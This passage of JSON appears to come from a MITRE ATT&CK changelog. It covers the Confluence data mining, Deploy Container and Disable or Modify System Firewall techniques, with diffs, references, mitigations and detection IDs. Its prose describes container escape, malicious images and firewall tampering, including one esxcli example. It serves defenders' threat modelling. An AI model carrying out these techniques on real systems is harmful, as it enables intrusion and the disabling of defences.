                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to113__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to113__0\"><a href=\"#difflib_chg_to113__top\">t</a></td><td class=\"diff_header\" id=\"from113_1\">1</td><td nowrap=\"nowrap\">&nbsp;Adversaries&nbsp;may&nbsp;leverage&nbsp;Confluence&nbsp;repositories&nbsp;to&nbsp;mine&nbsp;va</td><td class=\"diff_next\"><a href=\"#difflib_chg_to113__top\">t</a></td><td class=\"diff_header\" id=\"to113_1\">1</td><td nowrap=\"nowrap\">&nbsp;Adversaries&nbsp;may&nbsp;leverage&nbsp;Confluence&nbsp;repositories&nbsp;to&nbsp;mine&nbsp;va</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">luable&nbsp;information.(Citation:&nbsp;Confluence&nbsp;Standards&nbsp;in&nbsp;Data&nbsp;E</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">luable&nbsp;information.(Citation:&nbsp;Confluence&nbsp;Standards&nbsp;in&nbsp;Data&nbsp;E</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ngineering)&nbsp;Often&nbsp;found&nbsp;in&nbsp;development&nbsp;environments&nbsp;alongsid</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ngineering)&nbsp;Often&nbsp;found&nbsp;in&nbsp;development&nbsp;environments&nbsp;alongsid</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Atlassian&nbsp;JIRA,&nbsp;Confluence&nbsp;is&nbsp;generally&nbsp;used&nbsp;to&nbsp;store&nbsp;deve</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Atlassian&nbsp;JIRA,&nbsp;Confluence&nbsp;is&nbsp;generally&nbsp;used&nbsp;to&nbsp;store&nbsp;deve</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lopment-related&nbsp;documentation,&nbsp;<span class=\"diff_chg\">ho</span>w<span class=\"diff_chg\">ever,&nbsp;in&nbsp;general&nbsp;may&nbsp;conta</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lopment-related&nbsp;documentation<span class=\"diff_add\">;&nbsp;however</span>,&nbsp;<span class=\"diff_chg\">it&nbsp;may&nbsp;contain&nbsp;more&nbsp;</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">in&nbsp;more&nbsp;diverse&nbsp;categories&nbsp;of&nbsp;useful&nbsp;information,&nbsp;such&nbsp;as:&nbsp;</span>&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">diverse&nbsp;categories&nbsp;of&nbsp;useful&nbsp;information,&nbsp;such&nbsp;as:&nbsp;&nbsp;*&nbsp;Polici</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">*<span class=\"diff_sub\">&nbsp;Policies,&nbsp;procedures,&nbsp;and&nbsp;standards&nbsp;*&nbsp;Physical&nbsp;/&nbsp;logical&nbsp;n</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">es,&nbsp;procedures,&nbsp;and&nbsp;standards&nbsp;*&nbsp;Physical&nbsp;/&nbsp;logical&nbsp;net</span>w<span class=\"diff_chg\">ork&nbsp;d</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">etwork&nbsp;diagrams&nbsp;*</span>&nbsp;System&nbsp;architecture&nbsp;diagrams&nbsp;*&nbsp;Technical&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">iagrams</span>&nbsp;*&nbsp;System&nbsp;architecture&nbsp;diagrams&nbsp;*&nbsp;Technical&nbsp;system&nbsp;do</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ystem&nbsp;documentation&nbsp;*&nbsp;Testing&nbsp;/&nbsp;development&nbsp;credentials&nbsp;(i.e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cumentation&nbsp;*&nbsp;Testing&nbsp;/&nbsp;development&nbsp;credentials&nbsp;(i.e.,&nbsp;[Unse</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.,&nbsp;[Unsecured&nbsp;Credentials](https://attack.mitre.org/techniqu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cured&nbsp;Credentials](https://attack.mitre.org/techniques/T1552</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es/T1552))&nbsp;*&nbsp;Work&nbsp;/&nbsp;project&nbsp;schedules&nbsp;*&nbsp;Source&nbsp;code&nbsp;snippets</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">))&nbsp;*&nbsp;Work&nbsp;/&nbsp;project&nbsp;schedules&nbsp;*&nbsp;Source&nbsp;code&nbsp;snippets&nbsp;*&nbsp;Links</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;*&nbsp;Links&nbsp;to&nbsp;network&nbsp;shares&nbsp;and&nbsp;other&nbsp;internal&nbsp;resources&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;network&nbsp;shares&nbsp;and&nbsp;other&nbsp;internal&nbsp;resources&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1017: User Training",
                            "M1018: User Account Management",
                            "M1047: Audit"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0358: Programmatic and Excessive Access to Confluence Documentation"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-03-29 16:51:26.020000+00:00",
                    "modified": "2026-07-22 14:49:20.083000+00:00",
                    "name": "Deploy Container",
                    "description": "Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node.(Citation: AppSecco Kubernetes Namespace Breakout 2020)\n\nContainers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Container)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "execution"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1610",
                            "external_id": "T1610"
                        },
                        {
                            "source_name": "AppSecco Kubernetes Namespace Breakout 2020",
                            "description": "Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout using Insecure Host Path Volume \u2014 Part 1. Retrieved January 16, 2024.",
                            "url": "https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216"
                        },
                        {
                            "source_name": "Aqua Build Images on Hosts",
                            "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.",
                            "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host"
                        },
                        {
                            "source_name": "Docker Container",
                            "description": "DockerDocs. (n.d.). Retrieved December 8, 2025.",
                            "url": "https://docs.docker.com/reference/cli/docker/container/create/"
                        },
                        {
                            "source_name": "Kubernetes Workload Management",
                            "description": "Kubernetes. (n.d.). Workload Management. Retrieved March 28, 2024.",
                            "url": "https://kubernetes.io/docs/concepts/workloads/controllers/"
                        },
                        {
                            "source_name": "Kubeflow Pipelines",
                            "description": "The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021.",
                            "url": "https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/"
                        },
                        {
                            "source_name": "Kubernetes Dashboard",
                            "description": "The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021.",
                            "url": "https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Alfredo Oliveira, Trend Micro",
                        "Ariel Shuper, Cisco",
                        "Center for Threat-Informed Defense (CTID)",
                        "Idan Frimark, Cisco",
                        "Joas Antonio dos Santos, @C0d3Cr4zy",
                        "Magno Logan, @magnologan, Trend Micro",
                        "Pawan Kinger, @kingerpawan, Trend Micro",
                        "Vishwas Manral, McAfee",
                        "Yossi Weizman, Azure Defender Research Team"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Containers"
                    ],
                    "x_mitre_remote_support": false,
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-07-22 14:49:20.083000+00:00\", \"old_value\": \"2026-05-12 15:12:00.634000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node.(Citation: AppSecco Kubernetes Namespace Breakout 2020)\\n\\nContainers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Container)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)\", \"old_value\": \"Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node. (Citation: AppSecco Kubernetes Namespace Breakout 2020)\\n\\nContainers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow. (Citation: Docker Container)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node. (Citation: AppSecco Kubernetes Namespace Breakout 2020)\\n+Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node.(Citation: AppSecco Kubernetes Namespace Breakout 2020)\\n \\n-Containers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow. (Citation: Docker Container)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)\\n+Containers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Container)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to105__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to105__0\"><a href=\"#difflib_chg_to105__top\">t</a></td><td class=\"diff_header\" id=\"from105_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;deploy&nbsp;a&nbsp;container&nbsp;into&nbsp;an&nbsp;environment&nbsp;to&nbsp;fa</td><td class=\"diff_next\"><a href=\"#difflib_chg_to105__top\">t</a></td><td class=\"diff_header\" id=\"to105_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;deploy&nbsp;a&nbsp;container&nbsp;into&nbsp;an&nbsp;environment&nbsp;to&nbsp;fa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cilitate&nbsp;execution&nbsp;or&nbsp;evade&nbsp;defenses.&nbsp;In&nbsp;some&nbsp;cases,&nbsp;adversa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cilitate&nbsp;execution&nbsp;or&nbsp;evade&nbsp;defenses.&nbsp;In&nbsp;some&nbsp;cases,&nbsp;adversa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ries&nbsp;may&nbsp;deploy&nbsp;a&nbsp;new&nbsp;container&nbsp;to&nbsp;execute&nbsp;processes&nbsp;associa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ries&nbsp;may&nbsp;deploy&nbsp;a&nbsp;new&nbsp;container&nbsp;to&nbsp;execute&nbsp;processes&nbsp;associa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ted&nbsp;with&nbsp;a&nbsp;particular&nbsp;image&nbsp;or&nbsp;deployment,&nbsp;such&nbsp;as&nbsp;processes</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ted&nbsp;with&nbsp;a&nbsp;particular&nbsp;image&nbsp;or&nbsp;deployment,&nbsp;such&nbsp;as&nbsp;processes</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;that&nbsp;execute&nbsp;or&nbsp;download&nbsp;malware.&nbsp;In&nbsp;others,&nbsp;an&nbsp;adversary&nbsp;m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;that&nbsp;execute&nbsp;or&nbsp;download&nbsp;malware.&nbsp;In&nbsp;others,&nbsp;an&nbsp;adversary&nbsp;m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ay&nbsp;deploy&nbsp;a&nbsp;new&nbsp;container&nbsp;configured&nbsp;without&nbsp;network&nbsp;rules,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ay&nbsp;deploy&nbsp;a&nbsp;new&nbsp;container&nbsp;configured&nbsp;without&nbsp;network&nbsp;rules,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">user&nbsp;limitations,&nbsp;etc.&nbsp;to&nbsp;bypass&nbsp;existing&nbsp;defenses&nbsp;within&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">user&nbsp;limitations,&nbsp;etc.&nbsp;to&nbsp;bypass&nbsp;existing&nbsp;defenses&nbsp;within&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;environment.&nbsp;In&nbsp;Kubernetes&nbsp;environments,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;environment.&nbsp;In&nbsp;Kubernetes&nbsp;environments,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attempt&nbsp;to&nbsp;deploy&nbsp;a&nbsp;privileged&nbsp;or&nbsp;vulnerable&nbsp;container&nbsp;into&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attempt&nbsp;to&nbsp;deploy&nbsp;a&nbsp;privileged&nbsp;or&nbsp;vulnerable&nbsp;container&nbsp;into&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;specific&nbsp;node&nbsp;in&nbsp;order&nbsp;to&nbsp;[Escape&nbsp;to&nbsp;Host](https://attack.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;specific&nbsp;node&nbsp;in&nbsp;order&nbsp;to&nbsp;[Escape&nbsp;to&nbsp;Host](https://attack.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mitre.org/techniques/T1611)&nbsp;and&nbsp;access&nbsp;other&nbsp;containers&nbsp;runn</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mitre.org/techniques/T1611)&nbsp;and&nbsp;access&nbsp;other&nbsp;containers&nbsp;runn</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;on&nbsp;the&nbsp;node.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;AppSecco&nbsp;Kubernetes&nbsp;Namespace&nbsp;Br</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;on&nbsp;the&nbsp;node.(Citation:&nbsp;AppSecco&nbsp;Kubernetes&nbsp;Namespace&nbsp;Bre</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eakout&nbsp;2020)&nbsp;&nbsp;Containers&nbsp;can&nbsp;be&nbsp;deployed&nbsp;by&nbsp;various&nbsp;means,&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">akout&nbsp;2020)&nbsp;&nbsp;Containers&nbsp;can&nbsp;be&nbsp;deployed&nbsp;by&nbsp;various&nbsp;means,&nbsp;su</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">uch&nbsp;as&nbsp;via&nbsp;Docker's&nbsp;&lt;code&gt;create&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;start&lt;/cod</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ch&nbsp;as&nbsp;via&nbsp;Docker's&nbsp;&lt;code&gt;create&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;start&lt;/code</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;&nbsp;APIs&nbsp;or&nbsp;via&nbsp;a&nbsp;web&nbsp;application&nbsp;such&nbsp;as&nbsp;the&nbsp;Kubernetes&nbsp;dash</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;&nbsp;APIs&nbsp;or&nbsp;via&nbsp;a&nbsp;web&nbsp;application&nbsp;such&nbsp;as&nbsp;the&nbsp;Kubernetes&nbsp;dashb</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">board&nbsp;or&nbsp;Kubeflow.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Docker&nbsp;Container)(Citation:&nbsp;Ku</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oard&nbsp;or&nbsp;Kubeflow.(Citation:&nbsp;Docker&nbsp;Container)(Citation:&nbsp;Kube</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">bernetes&nbsp;Dashboard)(Citation:&nbsp;Kubeflow&nbsp;Pipelines)&nbsp;In&nbsp;Kuberne</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rnetes&nbsp;Dashboard)(Citation:&nbsp;Kubeflow&nbsp;Pipelines)&nbsp;In&nbsp;Kubernete</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tes&nbsp;environments,&nbsp;containers&nbsp;may&nbsp;be&nbsp;deployed&nbsp;through&nbsp;workloa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;environments,&nbsp;containers&nbsp;may&nbsp;be&nbsp;deployed&nbsp;through&nbsp;workloads</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ds&nbsp;such&nbsp;as&nbsp;ReplicaSets&nbsp;or&nbsp;DaemonSets,&nbsp;which&nbsp;can&nbsp;allow&nbsp;contai</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;such&nbsp;as&nbsp;ReplicaSets&nbsp;or&nbsp;DaemonSets,&nbsp;which&nbsp;can&nbsp;allow&nbsp;containe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ners&nbsp;to&nbsp;be&nbsp;deployed&nbsp;across&nbsp;multiple&nbsp;nodes.(Citation:&nbsp;Kuberne</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rs&nbsp;to&nbsp;be&nbsp;deployed&nbsp;across&nbsp;multiple&nbsp;nodes.(Citation:&nbsp;Kubernete</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tes&nbsp;Workload&nbsp;Management)&nbsp;Adversaries&nbsp;may&nbsp;deploy&nbsp;containers&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;Workload&nbsp;Management)&nbsp;Adversaries&nbsp;may&nbsp;deploy&nbsp;containers&nbsp;bas</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ased&nbsp;on&nbsp;retrieved&nbsp;or&nbsp;built&nbsp;malicious&nbsp;images&nbsp;or&nbsp;from&nbsp;benign&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;on&nbsp;retrieved&nbsp;or&nbsp;built&nbsp;malicious&nbsp;images&nbsp;or&nbsp;from&nbsp;benign&nbsp;ima</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mages&nbsp;that&nbsp;download&nbsp;and&nbsp;execute&nbsp;malicious&nbsp;payloads&nbsp;at&nbsp;runtim</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ges&nbsp;that&nbsp;download&nbsp;and&nbsp;execute&nbsp;malicious&nbsp;payloads&nbsp;at&nbsp;runtime.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.(Citation:&nbsp;Aqua&nbsp;Build&nbsp;Images&nbsp;on&nbsp;Hosts)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(Citation:&nbsp;Aqua&nbsp;Build&nbsp;Images&nbsp;on&nbsp;Hosts)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1018: User Account Management",
                            "M1030: Network Segmentation",
                            "M1035: Limit Access to Resource Over Network",
                            "M1047: Audit"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0249: Behavior-chain detection for T1610 Deploy Container across Docker & Kubernetes control/node planes"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--eec096b8-c207-43df-b6c1-11523861e452",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-04-14 22:53:27.275000+00:00",
                    "modified": "2026-11-04 00:12:22.539000+00:00",
                    "name": "Disable or Modify System Firewall",
                    "description": "Adversaries may disable or modify host-based or network firewalls to impair defensive mechanisms and enable further action. Once an adversary has gathered sufficient privileges, they can tamper with firewall services, policies, or rule sets to remove restrictions on inbound or outbound traffic. For example, this may include turning off firewall profiles, altering existing rules to permit previously blocked ports or protocols, or adding new rules that create covert communication paths (e.g., adding a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less secure port).(Citation: change_rdp_port_conti)\n\nAdversaries may disable or modify firewalls using different behaviors, depending on the platform. For example, in ESXi, firewall rules may be modified directly via the esxcli (e.g., via esxcli network firewall set) or via the vCenter user interface.(Citation: Broadcom ESXi Firewall)(Citation: Trellix Rnasomhouse 2024)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "defense-impairment"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1686",
                            "external_id": "T1686"
                        },
                        {
                            "source_name": "Broadcom ESXi Firewall",
                            "description": "Broadcom. (2025, March 24). Add Allowed IP Addresses for an ESXi Host by Using the VMware Host Client. Retrieved March 26, 2025.",
                            "url": "https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere/7-0/add-allowed-ip-addresses-for-an-esxi-host-by-using-the-vmware-host-client.html"
                        },
                        {
                            "source_name": "Trellix Rnasomhouse 2024",
                            "description": "Pham Duy Phuc, Max Kersten, No\u00ebl Keijzer, and Micha\u00ebl Schrijver. (2024, February 14). RansomHouse am See. Retrieved March 26, 2025.",
                            "url": "https://www.trellix.com/en-au/blogs/research/ransomhouse-am-see/"
                        },
                        {
                            "source_name": "change_rdp_port_conti",
